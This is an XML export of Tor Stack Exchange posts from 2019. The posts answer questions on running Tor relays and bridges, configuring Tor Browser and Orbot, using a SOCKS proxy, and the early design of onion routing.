  <row Id="20109" PostTypeId="2" ParentId="20070" CreationDate="2019-07-30T09:58:53.437" Score="0" Body="&lt;p&gt;When you want to connect with the Tor network you need to have some IP addresses from nodes that can accept your connection. This information is provided by the Tor Directory Nodes. I don't know how many connections are made but at least this gives you an idea about what it could be.&lt;/p&gt;&#xA;" OwnerUserId="14301" LastActivityDate="2019-07-30T09:58:53.437" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20110" PostTypeId="2" ParentId="20106" CreationDate="2019-07-30T10:06:17.120" Score="1" Body="&lt;p&gt;Don't use your private home connection for running an Exit node! Exit nodes are blocked heavily and can expect many attacks. If you still want to use your own internet connection for normal activities like browsing or sending e-mails then allot of services will block you because they know your IP address is also running an Exit node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of running an Exit node you can always run a normal relay. With allot of bandwidth and good uptime (several weeks) your node can be selected as a Guard node as well. Still, on your private internet connection, you can expect some resistance. But not as much as an Exit node would get.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really do want to run a high bandwidth Exit node then take a look at the information from &lt;a href=&quot;https://ipredator.se/guide/torserver&quot; rel=&quot;nofollow noreferrer&quot;&gt;IPredator&lt;/a&gt;. They show you what they did to run a good Exit node.&lt;/p&gt;&#xA;" OwnerUserId="14301" LastActivityDate="2019-07-30T10:06:17.120" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20111" PostTypeId="2" ParentId="20076" CreationDate="2019-07-30T10:21:30.210" Score="0" Body="&lt;p&gt;Are you located in a country that blocks Tor? Read &lt;a href=&quot;https://bridges.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; page for more information. They provide other ways of receiving a working bridge and they can support you if you keep having trouble connecting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure there are no technical issues with your internet connection before you reach out for support.&lt;/p&gt;&#xA;" OwnerUserId="14301" LastActivityDate="2019-07-30T10:21:30.210" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20112" PostTypeId="2" ParentId="20059" CreationDate="2019-07-30T10:29:52.690" Score="2" Body="&lt;p&gt;Take a look at &lt;a href=&quot;https://nyx.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Nyx&lt;/a&gt;. That is probably how most relay operators on Linux get their bandwidth and connection information.&lt;/p&gt;&#xA;" OwnerUserId="14301" LastActivityDate="2019-07-30T10:29:52.690" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20115" PostTypeId="1" CreationDate="2019-07-31T18:52:13.250" Score="1" ViewCount="428" Body="&lt;p&gt;I use the &lt;a href=&quot;https://play.google.com/store/apps/details?id=org.torproject.torbrowser&amp;amp;hl=en_US&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Browser for Android&lt;/a&gt; and it always takes long at startup since it has to start the Tor daemon first and I don't want to wait that long so I'd rather just disable the Tor daemon and configure it to use the already running Orbot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I do this? It's easy on desktop but I have no idea on android.&lt;/p&gt;&#xA;" OwnerUserId="27434" LastActivityDate="2021-12-23T04:04:15.390" Title="How do I use the Tor Browser for Android without Tor?" Tags="|tor-browser-bundle|android|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20117" PostTypeId="1" CreationDate="2019-08-01T03:25:15.970" Score="1" ViewCount="174" Body="&lt;p&gt;I don't know myself need to wait.I have set the torrc.conf correctly.And I have seen the circuit is built by nyx. please help me&#xA;&lt;a href=&quot;https://i.stack.imgur.com/di0Mr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/di0Mr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DlDFD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DlDFD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Iazya.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Iazya.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27437" LastActivityDate="2019-08-01T03:25:15.970" Title="Tried for 120 seconds to get a connection to 200.0.1.102:55555. Giving up. (waiting for circuit)" Tags="|configuration|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20118" PostTypeId="2" ParentId="20106" CreationDate="2019-08-01T19:18:27.273" Score="0" Body="&lt;p&gt;The Tor website has some excellent tips for running an exit node if you want to do so:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Inform your potential ISP(s)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In general, &lt;strong&gt;running an exit node from your home Internet connection&#xA;  is not recommended&lt;/strong&gt;, unless you are prepared for increased attention&#xA;  to your home. In the USA, there have been no equipment seizures due to&#xA;  Tor exits, but there have been phone calls and visits. In other&#xA;  countries, people have had all their home computing equipment seized&#xA;  for running an exit from their home internet connection. So you will&#xA;  need to find a good colo and save your home connection for bridge or&#xA;  middle node use. Plus, bandwidth will be much cheaper in a colo center&#xA;  anyway.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Get a separate IP for the node. Do not route your own traffic via this IP. &lt;/li&gt;&#xA;&lt;li&gt;Get recognizable Reverse DNS for this IP&lt;/li&gt;&#xA;&lt;li&gt;Set up a Tor Exit Notice&lt;/li&gt;&#xA;&lt;li&gt;Get ARIN registration (if possible)&lt;/li&gt;&#xA;&lt;li&gt;Consider a Reduced Exit Policy&lt;/li&gt;&#xA;&lt;li&gt;Rate limit and optionally QoS your node&lt;/li&gt;&#xA;&lt;li&gt;Consider creating an LLC to run your node&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can read the entire article here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/tips-running-exit-node&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/tips-running-exit-node&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-08-01T19:18:27.273" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20122" PostTypeId="1" CreationDate="2019-08-03T04:30:42.457" Score="1" ViewCount="156" Body="&lt;p&gt;I have 2 ISPs (Vivo and NET) on load balancing by my Cisco RV340. This makes outside internet peers to see me as if I kept alternating 2 different IPs, because each connection is randomly sent to one of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I bought a small PC a week ago and installed Ubuntu on it and now installed a Tor bridge relay. Its log is showing messages like &lt;code&gt;Your network connection speed appears to have changed. Resetting timeout to 60s after 18 timeouts&lt;/code&gt;, &lt;code&gt;Our IP Address has changed from XXXXXXX to YYYYYYY; rebuilding descriptor&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make it worse, NET ISP has port forwarding blocked. DMZ and manual forwarding was tried on its modem and it was in vain, I'm believing they are blocking inbound connections from outside their modem. Vivo is working fine, including DMZ.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My server is connected to router as a simple cable, and ALAIK this load balancing is transparent to my PCs, I can't setup them to use only 1 specific ISP. I also looked around RV340 admin for something that could help and found nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what I could do to make my relay work healthy?&lt;/p&gt;&#xA;" OwnerUserId="7058" LastActivityDate="2019-08-03T22:12:54.097" Title="Running tor on 2 ISPs with load balancing" Tags="|relays|bridge|load-balance|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20123" PostTypeId="2" ParentId="20122" CreationDate="2019-08-03T22:12:54.097" Score="1" Body="&lt;p&gt;This question might be best asked of the &lt;a href=&quot;https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays/&quot; rel=&quot;nofollow noreferrer&quot;&gt;tor-relay mailing list&lt;/a&gt; because there is a better chance that a developer will see it. However, it seems to me that a relay should only see a single stable IP connection. If the relay sees two IP's then it might freak out like you are seeing. It might be better if the Tor relay saw a single internal IP behind a loadbalancer than for it to see two external real IPs. Can you confirm if the relay is using one or both of the external IP addresses or just one internal IP?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I checked the Tor &lt;a href=&quot;https://trac.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;bug history and wiki&lt;/a&gt; for situations like yours and it looks like either no one has tried it or at least hasn't been reported.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-08-03T22:12:54.097" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20124" PostTypeId="2" ParentId="20115" CreationDate="2019-08-03T22:23:28.673" Score="0" Body="&lt;p&gt;Edited:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I'd rather just disable the Tor daemon and configure it to use the&#xA;  already running Orbot.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's not possible because the current version of Tor Browser can't be divorced from the Tor daemon. Your only option is to go back to using Orfox with Orbot but there's no word yet on how long that will continue to be supported by the Tor Project team.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastEditorUserId="23661" LastEditDate="2019-08-05T20:12:34.693" LastActivityDate="2019-08-05T20:12:34.693" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20125" PostTypeId="2" ParentId="20060" CreationDate="2019-08-03T22:35:55.873" Score="0" Body="&lt;p&gt;It is possible:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Download and start Orbot&lt;/li&gt;&#xA;&lt;li&gt;Click on VPN Disable/Tor-Enabled Apps&lt;/li&gt;&#xA;&lt;li&gt;Choose the Game&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It is now on Tor. However, you should know what Tor is. It is a way of keeping you anonymous by hiding your IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will have 2 effects.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Your account may be autobanned for doing it so as to protect the other players from anonymous cheaters.&lt;/li&gt;&#xA;&lt;li&gt;It will be slow as crap because Tor &lt;a href=&quot;https://2019.www.torproject.org/about/overview.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;encrypts and sends your information all over the world&lt;/a&gt; before it gets to the game and back.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-08-03T22:35:55.873" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20126" PostTypeId="2" ParentId="20053" CreationDate="2019-08-03T22:39:49.230" Score="0" Body="&lt;p&gt;CTRL-SHIFT-o will bring up the menu option to import and backup your bookmarks in a HTML file.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-08-03T22:39:49.230" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20127" PostTypeId="2" ParentId="20048" CreationDate="2019-08-03T22:44:17.280" Score="0" Body="&lt;p&gt;You may be to use a bridge. If you are trying to connect at at a workplace or at an University, then Tor is probably being blocked. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UTBO3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UTBO3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-08-03T22:44:17.280" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20128" PostTypeId="2" ParentId="20050" CreationDate="2019-08-03T22:48:03.007" Score="0" Body="&lt;p&gt;When you reinstall it, you will be told where it being installed. Go to that folder and run firefox.exe directly.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-08-03T22:48:03.007" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20129" PostTypeId="2" ParentId="20044" CreationDate="2019-08-03T23:00:29.647" Score="0" Body="&lt;p&gt;The bridge you are using is probably blocked. Get a private bridge by going &lt;a href=&quot;https://bridges.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. Do not share though or else it may become blocked also.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-08-03T23:00:29.647" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20130" PostTypeId="1" AcceptedAnswerId="20131" CreationDate="2019-08-04T05:46:52.447" Score="0" ViewCount="993" Body="&lt;p&gt;From a little bit of research, I found that anyone can be any node other than a guard node. Why is that so? On some forums they say stable uptime for a few weeks is required, but is there a minimum requirement?&lt;/p&gt;&#xA;" OwnerUserId="27454" OwnerDisplayName="Brian Zheng" LastEditorUserId="14997" LastEditDate="2019-10-08T23:44:55.207" LastActivityDate="2019-10-08T23:44:55.207" Title="How to become a tor guard node?" Tags="|guard-node|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20131" PostTypeId="2" ParentId="20130" CreationDate="2019-08-04T09:34:18.523" Score="0" Body="&lt;p&gt;In the Tor article, &lt;a href=&quot;https://blog.torproject.org/lifecycle-new-relay&quot; rel=&quot;nofollow noreferrer&quot;&gt;The lifecycle of a new relay&lt;/a&gt; We see that a relay node could become eligible as soon as 8 days after it has been created but in reality it needs to show a longer term history of good uptime and available bandwidth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt#n1913&quot; rel=&quot;nofollow noreferrer&quot;&gt;spec sheet&lt;/a&gt;. There appears to be at least two flags that must be set to become a guard:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &quot;guard-wfu&quot; -- WFU (in seconds) required for a relay to be&#xA;                marked as guard.&#xA;&#xA; &quot;guard-tk&quot; -- Weighted Time Known (in seconds) required for a&#xA;               relay to be marked as guard.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However nowhere that I can see are the actual metrics discussed for achieving these two flags.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-08-04T09:34:18.523" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20132" PostTypeId="1" CreationDate="2019-08-04T11:52:14.090" Score="0" ViewCount="218" Body="&lt;p&gt;My college has recently started to use l3 authentication, the one in which you have to login each time to access the internet. This has enabled them to collect logs for each individual user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible for them to collect logs if the user is browsing through tor.&lt;/p&gt;&#xA;" OwnerDisplayName="user27453" LastActivityDate="2021-12-23T02:07:45.687" Title="Is it possible to track history when browsing in tor under l3 authentication system of college?" Tags="|authentication|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20134" PostTypeId="1" CreationDate="2019-08-05T02:32:36.547" Score="0" ViewCount="346" Body="&lt;p&gt;It just goes to the home screen every time. I can’t figure out how to even get into the dark web. I downloaded TOR and onion from the App Store since I am using an iPhone but can’t figure out how to get past the home screens. &lt;/p&gt;&#xA;" OwnerUserId="27458" LastActivityDate="2021-12-23T05:06:55.713" Title="How do I navigate onion to get into the dark web?" Tags="|onion-routing|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20136" PostTypeId="2" ParentId="20134" CreationDate="2019-08-05T18:14:01.643" Score="0" Body="&lt;p&gt;There isn't an official Tor app for iOS but the Tor Project recommends Onion Browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/tor-heart-onion-browser-and-more-ios-tor&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/tor-heart-onion-browser-and-more-ios-tor&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27434" LastActivityDate="2019-08-05T18:14:01.643" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20137" PostTypeId="2" ParentId="20132" CreationDate="2019-08-05T18:17:31.197" Score="0" Body="&lt;p&gt;No, Tor encrypts your connection and routes it through multiple nodes so your college would just see a bunch of encrypted data going to a Tor node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the Tor overview &lt;a href=&quot;https://2019.www.torproject.org/about/overview.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://2019.www.torproject.org/about/overview.html.en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you mean if they can see a copy of your browsing history stored on your disk, then no as the Tor Browser is designed not to store any records of your browsing history.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://2019.www.torproject.org/projects/torbrowser/design/#disk-avoidance&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://2019.www.torproject.org/projects/torbrowser/design/#disk-avoidance&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27434" LastActivityDate="2019-08-05T18:17:31.197" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20139" PostTypeId="2" ParentId="6130" CreationDate="2019-08-06T14:17:00.353" Score="0" Body="&lt;p&gt;I've wrote an article on how to avoid WebRTC leak with simple iptables not related to port number but instead using the RFC to make sure it match the protocol. Exactly like you asked it use iptables to mitigate the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.linkedin.com/pulse/protect-yourself-from-webrtc-leak-julien-bedard?articleId=6190558964380368896#comments-6190558964380368896&amp;amp;trk=public_profile_post&quot; rel=&quot;nofollow noreferrer&quot;&gt;Protect yourself from WebRTC leak&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="27466" LastActivityDate="2019-08-06T14:17:00.353" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20141" PostTypeId="2" ParentId="12292" CreationDate="2019-08-07T13:27:42.147" Score="1" Body="&lt;p&gt;copy %userprofile%\desktop\Old Firefox Data\profile.default to %yourTORpath%\Browser\TorBrowser\Data\Browser and rename to profile.default-1234567891011. Actually suffix is random, &#xA;I guess, but I copied it from another profile in this directory. Then edit profile.ini in the same directory and put it as following: &#xA;[General]&#xA;StartWithLastProfile=1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Profile0]&#xA;Name=default-1234567891011&#xA;IsRelative=1&#xA;Path=profile.default-1234567891011&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it works for me!&lt;/p&gt;&#xA;" OwnerUserId="27468" LastActivityDate="2019-08-07T13:27:42.147" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20143" PostTypeId="1" CreationDate="2019-08-08T10:28:37.110" Score="2" ViewCount="301" Body="&lt;p&gt;I would like to know if there is any difference between the concept of &quot;proxy&quot; and the nodes (also known as relays) that make up the Tor network. I mean: Are the nodes proxies themselves? If not, what's the difference? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/p54tS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/p54tS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27478" LastEditorUserId="27478" LastEditDate="2019-08-12T16:39:09.097" LastActivityDate="2021-12-29T20:01:35.227" Title="Are Tor network nodes/relays proxies? If not, what is the difference?" Tags="|relays|proxy|node|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20145" PostTypeId="2" ParentId="20143" CreationDate="2019-08-08T20:36:17.540" Score="0" Body="&lt;p&gt;Think about it this way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nodes are &lt;strong&gt;other computers&lt;/strong&gt; that bounce your internet connection all over the world&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A proxy is the &lt;strong&gt;service&lt;/strong&gt; that your local copy of Tor or Tor Browser provides that you use to access the Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The proxy is &lt;em&gt;your&lt;/em&gt; door to Tor.  The node are the stops along the way from you to your destination. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to help the Tor network, you can create your own Node, that is, you can add another stop for other people to use. This strengthens the Tor network by making it bigger and more secure. The local door that you use (the proxy) is only on your computer.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-08-08T20:36:17.540" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20146" PostTypeId="1" CreationDate="2019-08-08T23:20:13.547" Score="0" ViewCount="108" Body="&lt;p&gt;I'm configuring a newsgroup software to connect to a news/NNTP server thru TOR (tor-win32).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where do I put tor-win32 info within newsgroup software and where do I put&#xA;news/NNTP server within TOR&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank's in advance :)&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2020-12-31T11:06:50.713" Title="configuring a newsgroup software to connect to a news/NNTP server thru TOR" Tags="|configuration|windows|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20147" PostTypeId="1" CreationDate="2019-08-09T06:47:19.957" Score="2" ViewCount="360" Body="&lt;p&gt;I have used the stand-alone Windows ZIP file (with just tor.exe) in it with great success:&#xA;&lt;a href=&quot;https://dist.torproject.org/torbrowser/8.5.4/tor-win32-0.4.0.5.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dist.torproject.org/torbrowser/8.5.4/tor-win32-0.4.0.5.zip&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However there doesn't seem to be any counterpart for Linux and OS X. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is the entire browser bundle, e.g.&#xA;&lt;a href=&quot;https://dist.torproject.org/torbrowser/8.5.4/tor-browser-linux64-8.5.4_en-US.tar.xz&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dist.torproject.org/torbrowser/8.5.4/tor-browser-linux64-8.5.4_en-US.tar.xz&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this is much larger and contains an entire web browser in addition to the Tor binary. Why is this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand many people on Linux get Tor via their distro package manager but it's strange to me that no trimmed down offering like the Windows ZIP is available.&lt;/p&gt;&#xA;" OwnerUserId="27480" LastActivityDate="2019-08-17T08:00:55.397" Title="Why is there no stand-alone Tor binaries for OS X and Linux on dist?" Tags="|linux|mac|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20148" PostTypeId="2" ParentId="20146" CreationDate="2019-08-09T08:22:33.940" Score="1" Body="&lt;p&gt;If your newsgroup software allows for SOCKS5 proxy, then use localhost:9150. You must keep Tor Browser open at all times to provide connection to the Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your software does not allow the use of a SOCKS5 proxy then it is not compatible and you may want to switch to another tool like Thunderbird which does allow it.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-08-09T08:22:33.940" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20154" PostTypeId="1" CreationDate="2019-08-12T05:30:24.073" Score="0" ViewCount="253" Body="&lt;p&gt;I have been using tor browser for some time now, 4 to 5 months maybe. Earlier it took 1-2 minutes for tor browser to launch. But then an upgrade happened, and now it takes 15-20 minutes. I'd click the app icon from the list and nothing would happen, then all of a sudden 15 or so minutes, I see the screen saying &quot;tor browser is starting.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Context: Using ubuntu 18.04 system. There has been no update to ubuntu version since I started using tor. I installed tor using the apt-get command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am a layman, and can only tell what I see, no other diagnosis skills.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for whatever help you might provide.&lt;/p&gt;&#xA;" OwnerUserId="27493" LastActivityDate="2020-05-08T12:06:50.777" Title="Tor browser taking longer to launch after update on ubuntu 18.04 system" Tags="|configuration|update|startup|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20158" PostTypeId="2" ParentId="15765" CreationDate="2019-08-12T16:07:54.360" Score="0" Body="&lt;p&gt;I have seen that web site and others hijack all of asstr.org.  They pretend that they are asstr and supply that content with porn and ads even without TOR.  IE, awe-kyle(dot)ru/anything will look like asstr(dot)org/anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These sites come and go.  Two others active now are pegast-irk(dot)ru/ and pegast-irk(dot)ru/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Y&lt;/p&gt;&#xA;" OwnerUserId="27499" LastActivityDate="2019-08-12T16:07:54.360" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20159" PostTypeId="1" AcceptedAnswerId="20183" CreationDate="2019-08-12T18:44:57.163" Score="0" ViewCount="96" Body="&lt;p&gt;The graph above comes from the document &quot;HIding Router Information&quot;, used to formally present the concept of 'Onion Routing' at a convention in Cambridge in 1996. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am analysing this graph for university research and have a number of questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;At the dawn of 'Onion Routing', was the layered encryption similar to the one Tor uses today, or has there been any substantial change?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In this graph, is the information between the client (Initiator Machine) and the first node (W) encrypted, or is it the first node that encrypts the information? Who currently initiates layered encryption on the Tor network, the first node, or Tor Browser from the client device?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The graph says that the first node (W) is controlled by &quot;Secure Site&quot;. I have read the document &quot;Hiding Router Information&quot; and I am not sure what &quot;Secure Site&quot; is. Does anyone know?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Sorry about the writing. But English is not my mother tongue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XSisc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XSisc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27478" LastActivityDate="2019-08-17T07:36:31.753" Title="The beginnings of Onion Routing: I need an explanation about this 1996 chart" Tags="|onion-routing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20161" PostTypeId="6" CreationDate="2019-08-12T21:27:19.213" Score="0" Body="&lt;p&gt;I'd like to nominate myself. My name is Jens and I helped create Tor.SE. Later I joined the moderator team and am currently a moderator here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When it comes to Tor I'm one of the &lt;a href=&quot;https://www.torproject.org/about/people/#core&quot; rel=&quot;nofollow noreferrer&quot;&gt;Core Tor people&lt;/a&gt; and I'm also a board member of the organisation Zwiebelfreunde which runs Tor exits and is part of &lt;a href=&quot;https://torservers.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;TorServers.net&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a moderator I help to answer questions, fight spam and other inappropriate comments. I would also like to help to grow the site in the future.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2019-08-12T21:27:19.213" LastActivityDate="2019-08-12T21:27:19.213" CommentCount="1" CommunityOwnedDate="2019-08-12T21:27:19.213" ContentLicense="CC BY-SA 4.0" />
  <row Id="20162" PostTypeId="2" ParentId="3778" CreationDate="2019-08-13T00:40:51.707" Score="0" Body="&lt;p&gt;In the top menu, select &lt;strong&gt;Tools -&gt; Add-ons&lt;/strong&gt; to get to Add-ons manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Search for '&lt;strong&gt;Lastpass&lt;/strong&gt;' in the searchbox in top right corner, it takes you to Firefox Lastpass Add-on page. Click &lt;strong&gt;Add to Firefox&lt;/strong&gt; button and Lastpass will be installed as add-on to your Tor browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though I need to mention, question about anonymity is still open: &lt;a href=&quot;https://tor.stackexchange.com/questions/1780/lastpass-tor-anonymous?newreg=a23cb23573ba4e35bb9a270418ae4446&quot;&gt;LastPass + Tor = Anonymous?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27503" LastActivityDate="2019-08-13T00:40:51.707" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
